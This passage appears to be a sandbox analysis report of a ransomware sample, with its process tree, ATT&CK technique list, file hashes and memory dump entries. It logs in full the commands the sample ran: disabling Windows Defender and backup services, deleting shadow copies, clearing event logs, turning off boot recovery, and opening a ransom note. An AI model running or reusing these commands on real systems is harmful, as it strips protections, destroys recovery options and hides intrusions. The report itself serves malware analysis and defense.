- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:4068
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "vmicvss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:340
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "vmicvss" /y
    3⤵
    PID:3840
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:3264
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:5080
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:2152
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UnistoreSvc_196e4" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UnistoreSvc_196e4" /y
    3⤵
    PID:4576
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  - Launches sc.exe
  PID:5084
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  - Launches sc.exe
  PID:1472
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:4364
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "vmicvss" start= disabled
  2⤵
  - Launches sc.exe
  PID:372
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  - Launches sc.exe
  PID:2860
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  - Launches sc.exe
  PID:3440
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  - Launches sc.exe
  PID:2240
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UnistoreSvc_196e4" start= disabled
  2⤵
  - Launches sc.exe
  PID:1944
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4432
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:4312
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:3992
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:3948
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:3036
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4860
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5100
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3376
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4888
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3088
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:4016
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:2980
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:1780
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:3508
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:1092
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:5040
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:4676
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:840
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:2288
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:2656
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:4184
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:4460
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:3504
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:5008
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:4028
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:808
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:3636
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1468
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1148
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3988
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3368
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:3188
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1500
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3220
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1908
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:3680
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:208
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5076
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4600
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1648
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:1628
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:3084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:2960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2256
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe C:\n8pw_HOW_TO_DECRYPT.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4356
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\211xahcou.exe"
  2⤵
  PID:3836
- - C:\Windows\system32\PING.EXE
    ping.exe -n 5 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:3264

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Indicator Removal on Host

T1070

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\n8pw_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
d3eca3baec61c36c9353ef1699b8bfca

SHA1
f084193262e0d462165cfac58e1422ab90df7514

SHA256
3ef5776a2dfd960f996ab765efa2b117d3e3135dc8e196aa7bdc525bd4125678

SHA512
8d8eb00e0764ea07a999d0f07bd21f4f4b8169f19673de0cea833670c38edd41792136a63036477bebeb2a0fbbca5f4faafb381f8fd4ffb178d4209e073e2a17

Download Submit
memory/208-192-0x0000000000000000-mapping.dmp

Download
memory/340-138-0x0000000000000000-mapping.dmp

Download
memory/372-151-0x0000000000000000-mapping.dmp

Download
memory/808-181-0x0000000000000000-mapping.dmp

Download
memory/840-173-0x0000000000000000-mapping.dmp

Download
memory/1092-170-0x0000000000000000-mapping.dmp

Download
memory/1148-184-0x0000000000000000-mapping.dmp

Download
memory/1468-183-0x0000000000000000-mapping.dmp

Download
memory/1472-149-0x0000000000000000-mapping.dmp

Download
memory/1500-188-0x0000000000000000-mapping.dmp

Download
memory/1536-132-0x0000000000000000-mapping.dmp

Download
memory/1648-195-0x0000000000000000-mapping.dmp

Download
memory/1780-168-0x0000000000000000-mapping.dmp

Download
memory/1908-190-0x0000000000000000-mapping.dmp

Download
memory/1944-155-0x0000000000000000-mapping.dmp

Download
memory/2152-145-0x0000000000000000-mapping.dmp

Download
memory/2188-144-0x0000000000000000-mapping.dmp

Download
memory/2240-154-0x0000000000000000-mapping.dmp

Download
memory/2256-201-0x00007FF984420000-0x00007FF984EE1000-memory.dmp

Filesize
10.8MB

Download
memory/2288-174-0x0000000000000000-mapping.dmp

Download
memory/2656-175-0x0000000000000000-mapping.dmp

Download
memory/2860-152-0x0000000000000000-mapping.dmp

Download
memory/2948-134-0x0000000000000000-mapping.dmp

Download
memory/2980-167-0x0000000000000000-mapping.dmp

Download
memory/3036-160-0x0000000000000000-mapping.dmp

Download
memory/3088-165-0x0000000000000000-mapping.dmp

Download
memory/3160-146-0x0000000000000000-mapping.dmp

Download
memory/3188-187-0x0000000000000000-mapping.dmp

Download
memory/3220-189-0x0000000000000000-mapping.dmp

Download
memory/3264-141-0x0000000000000000-mapping.dmp

Download
memory/3368-186-0x0000000000000000-mapping.dmp

Download
memory/3376-163-0x0000000000000000-mapping.dmp

Download
memory/3440-153-0x0000000000000000-mapping.dmp

Download
memory/3504-178-0x0000000000000000-mapping.dmp

Download
memory/3508-169-0x0000000000000000-mapping.dmp

Download
memory/3636-182-0x0000000000000000-mapping.dmp

Download
memory/3680-191-0x0000000000000000-mapping.dmp

Download
memory/3684-136-0x0000000000000000-mapping.dmp

Download
memory/3840-139-0x0000000000000000-mapping.dmp

Download
memory/3908-140-0x0000000000000000-mapping.dmp

Download
memory/3932-133-0x0000000000000000-mapping.dmp

Download
memory/3948-159-0x0000000000000000-mapping.dmp

Download
memory/3988-185-0x0000000000000000-mapping.dmp

Download
memory/3992-158-0x0000000000000000-mapping.dmp

Download
memory/4016-166-0x0000000000000000-mapping.dmp

Download
memory/4028-180-0x0000000000000000-mapping.dmp

Download
memory/4068-137-0x0000000000000000-mapping.dmp

Download
memory/4184-176-0x0000000000000000-mapping.dmp

Download
memory/4312-157-0x0000000000000000-mapping.dmp

Download
memory/4364-150-0x0000000000000000-mapping.dmp

Download
memory/4432-156-0x0000000000000000-mapping.dmp

Download
memory/4460-177-0x0000000000000000-mapping.dmp

Download
memory/4496-196-0x00000239681E0000-0x0000023968202000-memory.dmp

Filesize
136KB

Download
memory/4496-197-0x00007FF984420000-0x00007FF984EE1000-memory.dmp

Filesize
10.8MB

Download
memory/4496-198-0x00007FF984420000-0x00007FF984EE1000-memory.dmp

Filesize
10.8MB

Download
memory/4576-147-0x0000000000000000-mapping.dmp

Download
memory/4600-194-0x0000000000000000-mapping.dmp

Download
memory/4600-135-0x0000000000000000-mapping.dmp

Download
memory/4676-172-0x0000000000000000-mapping.dmp

Download
memory/4692-142-0x0000000000000000-mapping.dmp

Download
memory/4860-161-0x0000000000000000-mapping.dmp

Download
memory/4888-164-0x0000000000000000-mapping.dmp

Download
memory/5008-179-0x0000000000000000-mapping.dmp

Download
memory/5040-171-0x0000000000000000-mapping.dmp

Download
memory/5076-193-0x0000000000000000-mapping.dmp

Download
memory/5080-143-0x0000000000000000-mapping.dmp

Download
memory/5084-148-0x0000000000000000-mapping.dmp

Download
memory/5100-162-0x0000000000000000-mapping.dmp

Download